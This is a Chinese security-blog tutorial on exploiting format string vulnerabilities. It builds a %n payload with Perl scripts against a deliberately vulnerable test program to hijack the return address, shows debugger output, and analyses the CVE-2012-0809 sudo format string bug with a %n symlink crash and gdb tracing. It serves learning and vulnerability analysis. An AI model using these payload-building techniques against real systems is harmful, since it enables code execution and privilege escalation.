-
-
[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析
-
发表于: 2021-8-4 18:34 14830
-
这篇文章分为两个部分,前半部分介绍了如何利用格式化字符串漏洞,后半部分从源代码以及动态调试两个角度对CVE-2012-0809进行了分析。
通过此次学习,充分熟悉了格式化字符串漏洞的利用方法,对linux平台下使用gdb对漏洞进行调试也有所了解。
测试命令行:
test-%x-%x-%x-%n
由于代码中设置了int 3中断,程序开始执行后,会打开调试器,向前步进到第一个函数strncpy
的调用处,查看一下栈中情况:
可以看到此时栈顶的三个元素就是函数调用的三个参数:目标地址,字符串源地址,复制长度。
注意这个目标地址是0x18fb48
,指向的也是栈中的地址,实际上就在三个参数之后。执行完这个函数调用,栈中情况:
然后继续步进,到达下一个函数printf
调用处,查看栈中情况:
printf
函数的原型是int printf ( const char * format, ... );
,它需要的参数是由第一个参数决定的,因为我们使用的格式化字符串是test-%x-%x-%x-%n
,因此一共需要五个参数。其中第五个参数就是已打印字符数的写入地址,也就是栈中0018fb48
位置处的数值74736574
。还记得这个数值是之前调用strncpy
函数时写入的,就是格式化字符串的前四个字符。
所以到目前位置,我们已经发现了一个把可控内容(已打印字符数)写入可控地址(参数的前四个字节)的方法,需要做的就是把shellcode的地址写入返回地址的位置。
shellcode的地址应该在栈中的某个位置,这里选择0x18fb48(十进制1637192)
附近。要想控制已打印字符数,可以使用%1111x
的格式,这样输出时统计的打印字符数是1111个字节。
返回地址可以查看调用栈:
所以返回地址为0x00401232
,返回地址所在的位置为0018ff48+c=0018ff4c
,这里有一个问题,返回地址中包含\x00
字节,没有办法放在字符串的中间位置。但是需要注意,之所以说写入的可控地址是参数的前四个字节,是因为我们使用的格式化字符串中,%n
是第四个格式化字符串,我们可以通过调整%n
的位置,让它指向参数的其他位置。
在调用prinf函数时,栈中的结构:
4字节printf函数参数 12字节strncpy函数参数 (%818596x %818596x a个%x %n 168字节shellcode \x4c\xff\x18\x00)
其中括号中的内容就是我们需要传入的参数,%818596x
这里的818596
是为了控制已打印字符数,根据调试结果还要再次修改,同时这里假定shellcode的长度是168个字节,最后四个字节是返回地址我们要让%n
指向这里。所以%x
应该正好可以覆盖前面的这些字节,即Num of %x = a+2 = (12+16+2a+2+168)/4
,最后得到a
等于95
,所以%x
的个数为97
。
得到perl脚本:
为了得到准确的已打印字符数,这里的返回地址暂时设置为0x400000
,这样程序会在这里异常中断:
注意这时的ECX
的值为0018fedf
,与我们预期的0x18fb48
相差了0x397
,这样重新设置format
变量为 %818137x%818136x%n
,再把ret
变量修改为正确的值,得到脚本:
再次执行,步过一开始代码中写的int 3,程序中断在了0x18fb48
:
按照上面的方法,替换shellcode的内容,重新计算相关的长度,就可以实现漏洞利用了。
根据上面的调试过程,当遇到格式化字符串漏洞时,就可以在任意位置写入任意内容了。其中有几个要点:
CVE-2012-0809是sudo程序中的一个格式化字符串漏洞,存在于版本sudo 1.8.0 - 1.8.3p1中。
kali版本:
漏洞验证:
源码可是直接从src/sudo.c
中获取:
根据exploit-db
中的描述:
Here getprogname()
is argv[0]
and by this user controlled. So argv[0]
goes to fmt2
which then gets vfprintf()
ed to stderr. The result is a Format String vulnerability.
getprogname
就是用户可控的输入的程序名,在easprintf
函数调用中传入了fmt2
变量中,然后又在vfprintf
函数调用中传入了stderr
,在这一过程中,如果程序名包含了%n
,就会发生格式化字符串漏洞。
虽然从代码来看也能看出来,但是我还是希望调试一下,一方面熟悉一下linux下的gdb调试,一方面也想让整个流程更加清晰。
进入gdb之后,因为有源码和符号信息,可以直接在sudo_debug
函数下断点,然后继续执行:
可以看到fmt参数的内容是"settings: %s=%s"
。
使用display/i $pc
显示当前的汇编代码,然后继续单步,到达easprintf函数调用的位置:
此时栈中的数据:
所以0x004730eb
存储的应该就是"%s: %s\n"
字符串,0xbf999a83
存储的应该就是getprogname()
的结果,我们可以检查一下:
执行完该函数之后,查看一下得到的fmt2
变量的内容:
结果是正常的,getprogname()
和fmt
组合的结果。
继续向下执行,到达vfprintf
函数调用处,查看栈中数据:
第一个参数就是stderr
的位置:
第二个参数就是vfprintf
中的格式化字符串,也是esaprintf
的执行结果:
第三个参数用于填补格式化字符串,vfprintf
根据这个格式化字符串读取栈中后面的数据填入对应位置。:
因为格式化字符串是以%n
开头,所以一开始就会把0
写入到0x472e97
这个位置。
这时候打一个快照,方便之后返回,然后步进一步,这时候就会发生错误:
可以看到这时执行的指令是mov %ecx,(%eax)
,看一下此时寄存器的情况:
和我们上面推断的一样,把ecx
中的0
写入了0x472e97
。
因为格式化字符串的开头就是%n
,所以程序直接在第三个参数的首个位置进行了写入,但是注意这里vfprintf
函数的第三个参数是0xbf998348
,它并不是直接写入这个位置,第三个参数只是一个指针,指向了剩余参数的列表。
所以如果进行漏洞利用,还要看第三个参数指向的位置都保存了什么值,能不能够控制这些值,最终让已打印字符数写入返回地址处或者异常处理函数处。
如果在调用vfprintf
之前使用backtrace
查看一下函数调用情况:
可以清晰地看到整个流程,直接回到源代码看一下:
根据上述代码,应该是说sudo有一系列的settings,这里正在循环打印其名称和值,并在打印时在最前面添加上程序名。
下面的结论不一定正确,纯猜测!!!
所以第三个参数指向的应该就是设置名称和值,如果能够改变这些设置其中的一个值,是不是就能够控制写入的位置了呢。
在撰写本文的过程中,其实前半部分对格式化字符串漏洞的学习反而收获比较大,后面对CVE-2012-0809的分析更多的是熟悉linux平台下gdb漏洞调试的方法。
在对格式化字符串漏洞进行利用时,需要一些对栈中数据的排列结构的了解,以及一些数学技巧才能构造出最终输入的格式化字符串,这一部分内容很有意思。
exploit-db上提供了一个exploit的代码,但是它同时利用了两个漏洞,除了本漏洞之外,还有一个利用整数溢出绕过glibc FORTIFY_SOURCE的技巧,由于缺乏对于Linux平台的了解,我只是简单看了一下这份代码,确实有很多的内容都不了解,不知道作者为什么会这么写。
#include <stdio.h>
#include <string.h>
int
main(
int
argc, char
*
argv[]) {
char buff[
1024
];
__asm
int
3
strncpy(buff, argv[
1
], sizeof(buff)
-
1
);
printf(buff);
return
0
;
}
#include <stdio.h>
#include <string.h>
int
main(
int
argc, char
*
argv[]) {
char buff[
1024
];
__asm
int
3
strncpy(buff, argv[
1
], sizeof(buff)
-
1
);
printf(buff);
return
0
;
}
0
:
000
> dc
/
c
1
esp
0018fb3c
0018fb48
H...
/
/
目标地址
0018fb40
004e0e77
w.N.
/
/
源地址
0018fb44
000003ff
....
/
/
复制长度
0018fb48
02480248
H.H.
/
/
这里就是目标地址指向的位置
0018fb4c
02480248
H.H.
0018fb50
02480248
H.H.
0018fb54
02480248
H.H.
0018fb58
02480248
H.H.
...
0
:
000
> dc
/
c
1
esp
0018fb3c
0018fb48
H...
/
/
目标地址
0018fb40
004e0e77
w.N.
/
/
源地址
0018fb44
000003ff
....
/
/
复制长度
0018fb48
02480248
H.H.
/
/
这里就是目标地址指向的位置
0018fb4c
02480248
H.H.
0018fb50
02480248
H.H.
0018fb54
02480248
H.H.
0018fb58
02480248
H.H.
...
0
:
000
> dc
/
c
1
esp
0018fb3c
0018fb48
H...
0018fb40
004e0e77
w.N.
0018fb44
000003ff
....
0018fb48
74736574
test
0018fb4c
2d78252d
-
%
x
-
0018fb50
252d7825
%
x
-
%
0018fb54
6e252d78
x
-
%
n
0018fb58
00000000
....
0018fb5c
00000000
....
0018fb60
00000000
....
0018fb64
00000000
....
0018fb68
00000000
....
...
0
:
000
> dc
/
c
1
esp
0018fb3c
0018fb48
H...
0018fb40
004e0e77
w.N.
0018fb44
000003ff
....
0018fb48
74736574
test
0018fb4c
2d78252d
-
%
x
-
0018fb50
252d7825
%
x
-
%
0018fb54
6e252d78
x
-
%
n
0018fb58
00000000
....
0018fb5c
00000000
....
0018fb60
00000000
....
0018fb64
00000000
....
0018fb68
00000000
....
...
0
:
000
> dc
/
c
1
esp
0018fb38
0018fb48
H...
0018fb3c
0018fb48
H...
0018fb40
004e0e77
w.N.
0018fb44
000003ff
....
0018fb48
74736574
test
0018fb4c
2d78252d
-
%
x
-
0018fb50
252d7825
%
x
-
%
0018fb54
6e252d78
x
-
%
n
0018fb58
00000000
....
0018fb5c
00000000
....
0018fb60
00000000
....
...
0
:
000
> dc
/
c
1
esp
0018fb38
0018fb48
H...
0018fb3c
0018fb48
H...
0018fb40
004e0e77
w.N.
0018fb44
000003ff
....
0018fb48
74736574
test
0018fb4c
2d78252d
-
%
x
-
0018fb50
252d7825
%
x
-
%
0018fb54
6e252d78
x
-
%
n
0018fb58
00000000
....
0018fb5c
00000000
....
0018fb60
00000000
....
...
0
:
000
> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0018ff48
00401232
00000002
004e0e28
004e0e90
FormatString
+
0x1029
0018ff88
77203677
7efde000
0018ffd4
77929d72
FormatString
+
0x1232
0018ff94
77929d72
7efde000
75381a13
00000000
kernel32!BaseThreadInitThunk
+
0xe
0018ffd4
77929d45
0040117e
7efde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
0018ffec
00000000
0040117e
7efde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
0
:
000
> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0018ff48
00401232
00000002
004e0e28
004e0e90
FormatString
+
0x1029
0018ff88
77203677
7efde000
0018ffd4
77929d72
FormatString
+
0x1232
0018ff94
77929d72
7efde000
75381a13
00000000
kernel32!BaseThreadInitThunk
+
0xe
0018ffd4
77929d45
0040117e
7efde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
0018ffec
00000000
0040117e
7efde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
#!/usr/bin/perl
my $shellcode
=
"\xCC"
x
168
;
my $x
=
"%x"
x
95
;
my $
format
=
'%818596x%818596x%n'
;
my $ret
=
"\x00\x00\x40\x00"
;
my $buf
=
$shellcode.$x.$
format
.$ret;
system(
'FormatString.exe'
, $buf);
#!/usr/bin/perl
my $shellcode
=
"\xCC"
x
168
;
my $x
=
"%x"
x
95
;
my $
format
=
'%818596x%818596x%n'
;
my $ret
=
"\x00\x00\x40\x00"
;
my $buf
=
$shellcode.$x.$
format
.$ret;
system(
'FormatString.exe'
, $buf);
(
644.424
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
00000000
ebx
=
0000006e
ecx
=
0018fedf
edx
=
00000200
esi
=
0018fcc0
edi
=
00000800
eip
=
00401877
esp
=
0018f8b8
ebp
=
0018fb10
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010246
FormatString
+
0x1877
:
00401877
8908
mov dword ptr [eax],ecx ds:
002b
:
00000000
=
????????
(
644.424
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
00000000
ebx
=
0000006e
ecx
=
0018fedf
edx
=
00000200
esi
=
0018fcc0
edi
=
00000800
eip
=
00401877
esp
=
0018f8b8
ebp
=
0018fb10
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010246
FormatString
+
0x1877
:
00401877
8908
mov dword ptr [eax],ecx ds:
002b
:
00000000
=
????????
#!/usr/bin/perl
my $shellcode
=
"\xCC"
x
168
;
my $x
=
"%x"
x
95
;
my $
format
=
'%818137x%818136x%n'
;
my $ret
=
"\x4c\xff\x18\x00"
;
my $buf
=
$shellcode.$x.$
format
.$ret;
my $buf2
=
"\x{910c}"
;
system(
'FormatString.exe'
, $buf);
#!/usr/bin/perl
my $shellcode
=
"\xCC"
x
168
;
my $x
=
"%x"
x
95
;
my $
format
=
'%818137x%818136x%n'
;
my $ret
=
"\x4c\xff\x18\x00"
;
my $buf
=
$shellcode.$x.$
format
.$ret;
my $buf2
=
"\x{910c}"
;
system(
'FormatString.exe'
, $buf);
0
:
000
> g
(
544.7d4
): Break instruction exception
-
code
80000003
(first chance)
eax
=
00000000
ebx
=
7efde000
ecx
=
00407060
edx
=
0008e3b8
esi
=
00000000
edi
=
00000000
eip
=
0018fb48
esp
=
0018ff50
ebp
=
0018ff88
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
0018fb48
cc
int
3
0
:
000
> g
(
544.7d4
): Break instruction exception
-
code
80000003
(first chance)
eax
=
00000000
ebx
=
7efde000
ecx
=
00407060
edx
=
0008e3b8
esi
=
00000000
edi
=
00000000
eip
=
0018fb48
esp
=
0018ff50
ebp
=
0018ff88
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
0018fb48
cc
int
3
root@kali:~
/
Desktop
# uname -a
Linux kali
5.10
.
0
-
kali7
-
686
-
pae
#1 SMP Debian 5.10.28-1kali1 (2021-04-12) i686 GNU/Linux
root@kali:~
/
Desktop
# uname -a
Linux kali
5.10
.
0
-
kali7
-
686
-
pae
#1 SMP Debian 5.10.28-1kali1 (2021-04-12) i686 GNU/Linux
apt
-
get
-
-
purge remove sudo
apt
-
get
-
-
purge remove sudo
root@kali:~
/
Desktop
# ln -s /usr/local/bin/sudo %n
root@kali:~
/
Desktop
# ./%n -D9
Segmentation fault
root@kali:~
/
Desktop
# ln -s /usr/local/bin/sudo %n
root@kali:~
/
Desktop
# ./%n -D9
Segmentation fault
void
sudo_debug(
int
level, const char
*
fmt, ...)
{
va_list ap;
char
*
fmt2;
if
(level > debug_level)
return
;
/
*
Backet fmt with program name
and
a newline to make it a single write
*
/
easprintf(&fmt2,
"%s: %s\n"
, getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);
va_end(ap);
efree(fmt2);
}
void
sudo_debug(
int
level, const char
*
fmt, ...)
{
va_list ap;
char
*
fmt2;
if
(level > debug_level)
return
;
/
*
Backet fmt with program name
and
a newline to make it a single write
*
/
easprintf(&fmt2,
"%s: %s\n"
, getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);
va_end(ap);
efree(fmt2);
}